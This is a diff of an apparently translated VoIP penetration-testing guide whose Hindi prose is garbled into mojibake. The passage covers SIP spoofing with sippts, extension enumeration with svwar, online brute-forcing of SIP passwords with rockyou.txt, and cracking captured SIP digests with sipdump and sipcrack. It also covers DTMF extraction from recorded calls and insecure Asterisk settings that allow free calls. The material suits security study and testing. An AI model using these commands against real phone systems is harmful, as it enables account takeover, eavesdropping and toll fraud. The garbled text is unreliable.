рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ```bash sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp ``` @@ -239,9 +238,9 @@ sippts wssend -i 10.10.0.10 -r 443 -path /ws ``` ### Extension Enumeration -PBX (Private Branch Exchange) рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ Extensions рдХрд╛ рдорддрд▓рдм рд╣реИ **рд╡реНрдпрдХреНрддрд┐рдЧрдд** рдлреЛрди рд▓рд╛рдЗрдиреЛрдВ, рдЙрдкрдХрд░рдгреЛрдВ, рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЕрд╕рд╛рдЗрди рдХрд┐рдП рдЧрдП **рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЖрдВрддрд░рд┐рдХ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛**ред Extensions рдпрд╣ рд╕рдВрднрд╡ рдмрдирд╛рддреЗ рд╣реИрдВ рдХрд┐ **рд╕рдВрдЧрдарди рдХреЗ рднреАрддрд░ рдХреЙрд▓ рдХреЛ рдХреБрд╢рд▓рддрд╛ рд╕реЗ рд░реВрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ**, рдмрд┐рдирд╛ рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдпрд╛ рдЙрдкрдХрд░рдг рдХреЗ рд▓рд┐рдП рд╡реНрдпрдХреНрддрд┐рдЧрдд рдмрд╛рд╣рд░реА рдлреЛрди рдирдВрдмрд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗред +PBX (Private Branch Exchange) рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ Extensions рдХрд╛ рдорддрд▓рдм рд╣реИ **рд╡реНрдпрдХреНрддрд┐рдЧрдд** рдлреЛрди рд▓рд╛рдЗрдиреЛрдВ, рдЙрдкрдХрд░рдгреЛрдВ, рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рд╕рдВрдЧрдарди рдпрд╛ рд╡реНрдпрд╡рд╕рд╛рдп рдХреЗ рднреАрддрд░ рдЕрд╕рд╛рдЗрди рдХрд┐рдП рдЧрдП **рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЖрдВрддрд░рд┐рдХ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛**ред Extensions рдпрд╣ рд╕рдВрднрд╡ рдмрдирд╛рддреЗ рд╣реИрдВ рдХрд┐ **рд╕рдВрдЧрдарди рдХреЗ рднреАрддрд░ рдХреЙрд▓ рдХреЛ рдХреБрд╢рд▓рддрд╛ рд╕реЗ рд░реВрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ**, рдмрд┐рдирд╛ рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдпрд╛ рдЙрдкрдХрд░рдг рдХреЗ рд▓рд┐рдП рд╡реНрдпрдХреНрддрд┐рдЧрдд рдмрд╛рд╣рд░реА рдлреЛрди рдирдВрдмрд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗред -- **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar` рдПрдХ рдореБрдлреНрдд SIP PBX рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд▓рд╛рдЗрди рд╕реНрдХреИрдирд░ рд╣реИред рдпрд╣ рдкрд╛рд░рдВрдкрд░рд┐рдХ рд╡рд╛рд░реНрдбрд╛рдпрд▓рд░реНрд╕ рдХреЗ рд╕рдорд╛рди рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, **рдПрдХ рд░реЗрдВрдЬ рдХреЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рдиреЛрдВ рдпрд╛ рджрд┐рдП рдЧрдП рдПрдХреНрд╕рдЯреЗрдВрд╢рдиреЛрдВ рдХреА рд╕реВрдЪреА рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдХрд░**ред +- **`svwar`** from SIPVicious (`sudo apt install sipvicious`): `svwar` рдПрдХ рдореБрдлреНрдд SIP PBX рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд▓рд╛рдЗрди рд╕реНрдХреИрдирд░ рд╣реИред рдпрд╣ рдкрд╛рд░рдВрдкрд░рд┐рдХ рд╡рд╛рд░рдбрд╛рдпрд▓рд░реНрд╕ рдХреЗ рд╕рдорд╛рди рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ **рдПрдХ рд░реЗрдВрдЬ рдХреЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рдиреЛрдВ рдпрд╛ рджрд┐рдП рдЧрдП рдПрдХреНрд╕рдЯреЗрдВрд╢рдиреЛрдВ рдХреА рд╕реВрдЪреА рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдХрд░**ред ```bash svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER ``` @@ -263,7 +262,7 @@ enumiax -v -m3 -M3 10.10.0.10 ### рдкрд╛рд╕рд╡рд░реНрдб рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ - рдСрдирд▓рд╛рдЗрди -**PBX** рдФрд░ рдХреБрдЫ **extensions/usernames** рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рдмрд╛рдж, рдПрдХ Red Team **REGISTER рд╡рд┐рдзрд┐** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ extension рдкрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреА рд╣реИ, рд╕рд╛рдорд╛рдиреНрдп рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рдПрдХ рд╢рдмреНрджрдХреЛрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред +**PBX** рдФрд░ рдХреБрдЫ **extensions/usernames** рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рдмрд╛рдж, рдПрдХ Red Team **REGISTER рд╡рд┐рдзрд┐** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ extension рдкрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рд╕рд╛рдорд╛рдиреНрдп рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рдПрдХ рд╢рдмреНрджрдХреЛрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред > [!CAUTION] > рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдПрдХ **username** extension рдХреЗ рд╕рдорд╛рди рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рдкреНрд░рдерд╛ PBX рдкреНрд░рдгрд╛рд▓реА, рдЗрд╕рдХреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди, рдФрд░ рд╕рдВрдЧрдарди рдХреА рдкреНрд░рд╛рдердорд┐рдХрддрд╛рдУрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рднрд┐рдиреНрди рд╣реЛ рд╕рдХрддреА рд╣реИ... @@ -289,7 +288,7 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt рдиреЗрдЯрд╡рд░реНрдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдмреАрдЪ, рдЖрдк **рдЙрдкрдХрд░рдг рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡реЗрдм рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕**, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ **рдПрдХреНрд╕рдЯреЗрдВрд╢рди**, **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо**, **IP** рдкрддреЗ, рдпрд╣рд╛рдВ рддрдХ рдХрд┐ **рд╣реИрд╢ рдХрд┐рдП рдЧрдП рдкрд╛рд╕рд╡рд░реНрдб** рдФрд░ **RTP рдкреИрдХреЗрдЯ** рднреА рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк **рдмрд╛рддрдЪреАрдд рд╕реБрдирдиреЗ рдХреЗ рд▓рд┐рдП рдкреБрди: рдЙрддреНрдкрдиреНрди** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рднреА рдмрд╣реБрдд рдХреБрдЫред -рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк Wireshark, tcpdump рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ... рд▓реЗрдХрд┐рди VoIP рдмрд╛рддрдЪреАрдд рдХреЛ рд╕реНрдирд┐рдл рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдмрдирд╛рдП рдЧрдП рдЙрдкрдХрд░рдг** [**ucsniff**](https://github.com/Seabreg/ucsniff) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк Wireshark, tcpdump рдЬреИрд╕реЗ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ... рд▓реЗрдХрд┐рди VoIP рдмрд╛рддрдЪреАрдд рдХреЛ рд╕реНрдирд┐рдл рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдмрдирд╛рдП рдЧрдП рдЙрдкрдХрд░рдг** [**ucsniff**](https://github.com/Seabreg/ucsniff) рд╣реИрдВред > [!CAUTION] > рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ **SIP рд╕рдВрдЪрд╛рд░ рдореЗрдВ TLS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ** рддреЛ рдЖрдк SIP рд╕рдВрдЪрд╛рд░ рдХреЛ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдирд╣реАрдВ рджреЗрдЦ рдкрд╛рдПрдВрдЧреЗред\ @@ -297,9 +296,9 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt #### SIP рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ (рдкрд╛рд╕рд╡рд░реНрдб рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ - рдСрдлрд╝рд▓рд╛рдЗрди) -[**SIP REGISTER рд╕рдВрдЪрд╛рд░**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) рдХреЛ рдмреЗрд╣рддрд░ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдк рдЬрд╛рди рд╕рдХреЗрдВ рдХрд┐ **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреИрд╕реЗ рднреЗрдЬреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ**ред +[рдПрдХ **SIP REGISTER рд╕рдВрдЪрд╛рд░** рдХреЛ рдмреЗрд╣рддрд░ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) рддрд╛рдХрд┐ рдЖрдк рдЬрд╛рди рд╕рдХреЗрдВ рдХрд┐ **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреИрд╕реЗ рднреЗрдЬреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ**ред -- **`sipdump`** рдФрд░ **`sipcrack`,** **sipcrack** рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ (`apt-get install sipcrack`): рдпреЗ рдЙрдкрдХрд░рдг **pcap** рд╕реЗ **рдбрд╛рдЗрдЬреЗрд╕реНрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг** рдХреЛ рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ **рдмреНрд░реВрдЯрдлреЛрд░реНрд╕** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +- **`sipdump`** & **`sipcrack`,** **sipcrack** рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ (`apt-get install sipcrack`): рдпреЗ рдЙрдкрдХрд░рдг **pcap** рд╕реЗ **рдбрд╛рдЗрдЬреЗрд╕реНрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг** рдХреЛ **рдирд┐рдХрд╛рд▓** рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ **рдмреНрд░реВрдЯрдлреЛрд░реНрд╕** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ```bash sipdump -p net-capture.pcap sip-creds.txt sipcrack sip-creds.txt -w dict.txt @@ -318,14 +317,14 @@ sippts tshark -f capture.pcap [-filter auth] ``` #### DTMF рдХреЛрдб -**рдХреЗрд╡рд▓ SIP рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** рд╣реА рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░реИрдлрд┐рдХ рдореЗрдВ рдирд╣реАрдВ рдкрд╛рдП рдЬрд╛ рд╕рдХрддреЗ, рдмрд▓реНрдХрд┐ DTMF рдХреЛрдб рднреА рдкрд╛рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП **рд╡реЙрдЗрд╕рдореЗрд▓** рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред\ +**рдХреЗрд╡рд▓ SIP рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** рд╣реА рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░реИрдлрд┐рдХ рдореЗрдВ рдирд╣реАрдВ рдкрд╛рдП рдЬрд╛ рд╕рдХрддреЗ, рдмрд▓реНрдХрд┐ DTMF рдХреЛрдб рднреА рдорд┐рд▓ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП **рд╡реЙрдЗрд╕рдореЗрд▓** рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред\ рдЗрди рдХреЛрдбреНрд╕ рдХреЛ **INFO SIP рд╕рдВрджреЗрд╢реЛрдВ** рдореЗрдВ, **рдСрдбрд┐рдпреЛ** рдореЗрдВ рдпрд╛ **RTP рдкреИрдХреЗрдЯреНрд╕** рдХреЗ рдЕрдВрджрд░ рднреЗрдЬрдирд╛ рд╕рдВрднрд╡ рд╣реИред рдпрджрд┐ рдХреЛрдб RTP рдкреИрдХреЗрдЯреНрд╕ рдХреЗ рдЕрдВрджрд░ рд╣реИрдВ, рддреЛ рдЖрдк рдмрд╛рддрдЪреАрдд рдХреЗ рдЙрд╕ рд╣рд┐рд╕реНрд╕реЗ рдХреЛ рдХрд╛рдЯ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдирд┐рдХрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЯреВрд▓ multimo рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash multimon -a DTMF -t wac pin.wav ``` ### Free Calls / Asterisks Connections Misconfigurations -Asterisk рдореЗрдВ рдПрдХ рдХрдиреЗрдХреНрд╢рди **рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ IP рдкрддреЗ** рд╕реЗ рдпрд╛ **рдХрд┐рд╕реА рднреА IP рдкрддреЗ** рд╕реЗ рдЕрдиреБрдорддрд┐ рджреЗрдирд╛ рд╕рдВрднрд╡ рд╣реИ: +In Asterisk рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдПрдХ рдХрдиреЗрдХреНрд╢рди **рдПрдХ рд╡рд┐рд╢реЗрд╖ IP рдкрддреЗ рд╕реЗ** рдпрд╛ **рдХрд┐рд╕реА рднреА IP рдкрддреЗ рд╕реЗ** рдЕрдиреБрдорддрд┐ рджреА рдЬрд╛рдП: ``` host=10.10.10.10 host=dynamic @@ -334,9 +333,9 @@ host=dynamic рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдиреНрд╣реЗрдВ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: -- **`type=user`**: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗрд╡рд▓ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдХреЙрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред -- **`type=friend`**: рдкреАрдпрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХреЙрд▓ рдХрд░рдирд╛ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдиреНрд╣реЗрдВ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ (рд╡рд┐рд╕реНрддрд╛рд░рдг рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ) -- **`type=peer`**: рдкреАрдпрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХреЙрд▓ рднреЗрдЬрдирд╛ рдФрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ (SIP-trunks) +- **`type=user`**: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗрд╡рд▓ рдХреЙрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред +- **`type=friend`**: рдЗрд╕реЗ рдкреАрдпрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХреЙрд▓ рдХрд░рдиреЗ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ (рд╡рд┐рд╕реНрддрд╛рд░рдг рдХреЗ рд╕рд╛рде рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ) +- **`type=peer`**: рдЗрд╕реЗ рдкреАрдпрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХреЙрд▓ рднреЗрдЬрдиреЗ рдФрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ (SIP-trunks) рдпрд╣ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдЪрд░ рдХреЗ рд╕рд╛рде рд╡рд┐рд╢реНрд╡рд╛рд╕ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рднреА рд╕рдВрднрд╡ рд╣реИ: @@ -345,18 +344,18 @@ host=dynamic - **`insecure=port,invite`**: рджреЛрдиреЛрдВ > [!WARNING] -> рдЬрдм **`type=friend`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ **host** рдЪрд░ рдХрд╛ **рдореВрд▓реНрдп** **рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛**, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ **SIP-trunk рдХреЛ рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░** рдХрд░рддрд╛ рд╣реИ, рддреЛ **рдХреЛрдИ рднреА рдЗрд╕рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░ рд╕рдХреЗрдЧрд╛**ред +> рдЬрдм **`type=friend`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ **host** рдЪрд░ рдХрд╛ **рдореВрд▓реНрдп** **рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛**, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ **SIP-trunk** рдХреЛ рдЙрд╕ рдореВрд▓реНрдп рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░** рдХрд░рддрд╛ рд╣реИ, рддреЛ **рдХреЛрдИ рднреА рдЗрд╕рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░ рд╕рдХреЗрдЧрд╛**ред > -> рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрд╣ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрдордЬреЛрд░ рд╣реЛрдЧрд╛:\ +> рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрд╣ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реЛрдЧрд╛:\ > `host=10.10.10.10`\ > `insecure=port,invite`\ > `type=friend` ### рдореБрдлреНрдд рдХреЙрд▓ / рдПрд╕реНрдЯреЗрд░рд┐рд╕реНрдХ рд╕рдВрджрд░реНрдн рдЧрд▓рдд рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди -Asterisk рдореЗрдВ рдПрдХ **рд╕рдВрджрд░реНрдн** рдПрдХ рдирд╛рдорд┐рдд рдХрдВрдЯреЗрдирд░ рдпрд╛ рдбрд╛рдпрд▓ рдпреЛрдЬрдирд╛ рдореЗрдВ рдПрдХ рдЕрдиреБрднрд╛рдЧ рд╣реИ рдЬреЛ **рд╕рдВрдмрдВрдзрд┐рдд рд╡рд┐рд╕реНрддрд╛рд░, рдХреНрд░рд┐рдпрд╛рдПрдБ рдФрд░ рдирд┐рдпрдореЛрдВ** рдХреЛ рдПрдХ рд╕рд╛рде рд╕рдореВрд╣рд┐рдд рдХрд░рддрд╛ рд╣реИред рдбрд╛рдпрд▓ рдпреЛрдЬрдирд╛ Asterisk рдкреНрд░рдгрд╛рд▓реА рдХрд╛ рдореБрдЦреНрдп рдШрдЯрдХ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ **рдХреИрд╕реЗ рдЖрдиреЗ рд╡рд╛рд▓реА рдФрд░ рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдХреЙрд▓ рдХреЛ рд╕рдВрднрд╛рд▓рд╛ рдФрд░ рд░реВрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ** рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддрд╛ рд╣реИред рд╕рдВрджрд░реНрднреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдбрд╛рдпрд▓ рдпреЛрдЬрдирд╛ рдХреЛ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рдиреЗ, рдкрд╣реБрдВрдЪ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдФрд░ рдкреНрд░рдгрд╛рд▓реА рдХреЗ рд╡рд┐рднрд┐рдиреНрди рднрд╛рдЧреЛрдВ рдХреЗ рдмреАрдЪ рд╡рд┐рднрд╛рдЬрди рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +Asterisk рдореЗрдВ рдПрдХ **рд╕рдВрджрд░реНрдн** рдбрд╛рдпрд▓ рдпреЛрдЬрдирд╛ рдореЗрдВ рдПрдХ рдирд╛рдорд┐рдд рдХрдВрдЯреЗрдирд░ рдпрд╛ рдЕрдиреБрднрд╛рдЧ рд╣реИ рдЬреЛ **рд╕рдВрдмрдВрдзрд┐рдд рд╡рд┐рд╕реНрддрд╛рд░, рдХреНрд░рд┐рдпрд╛рдПрдБ рдФрд░ рдирд┐рдпрдореЛрдВ** рдХреЛ рдПрдХ рд╕рд╛рде рд╕рдореВрд╣рд┐рдд рдХрд░рддрд╛ рд╣реИред рдбрд╛рдпрд▓ рдпреЛрдЬрдирд╛ Asterisk рдкреНрд░рдгрд╛рд▓реА рдХрд╛ рдореБрдЦреНрдп рдШрдЯрдХ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ **рдХреИрд╕реЗ рдЖрдиреЗ рд╡рд╛рд▓реА рдФрд░ рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдХреЙрд▓ рдХреЛ рд╕рдВрднрд╛рд▓рд╛ рдФрд░ рд░реВрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ** рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреА рд╣реИред рд╕рдВрджрд░реНрднреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдбрд╛рдпрд▓ рдпреЛрдЬрдирд╛ рдХреЛ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рдиреЗ, рдкрд╣реБрдВрдЪ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдФрд░ рдкреНрд░рдгрд╛рд▓реА рдХреЗ рд╡рд┐рднрд┐рдиреНрди рднрд╛рдЧреЛрдВ рдХреЗ рдмреАрдЪ рд╡рд┐рднрд╛рдЬрди рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -рдкреНрд░рддреНрдпреЗрдХ рд╕рдВрджрд░реНрдн рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рд╣реЛрддрд╛ рд╣реИ, рдЖрдорддреМрд░ рдкрд░ **`extensions.conf`** рдлрд╝рд╛рдЗрд▓ рдореЗрдВред рд╕рдВрджрд░реНрднреЛрдВ рдХреЛ рд╡рд░реНрдЧрд╛рдХрд╛рд░ рдмреНрд░реИрдХреЗрдЯ рджреНрд╡рд╛рд░рд╛ рджрд░реНрд╢рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╕рдВрджрд░реНрдн рдХрд╛ рдирд╛рдо рдЙрдирдХреЗ рднреАрддрд░ рд╣реЛрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: +рдкреНрд░рддреНрдпреЗрдХ 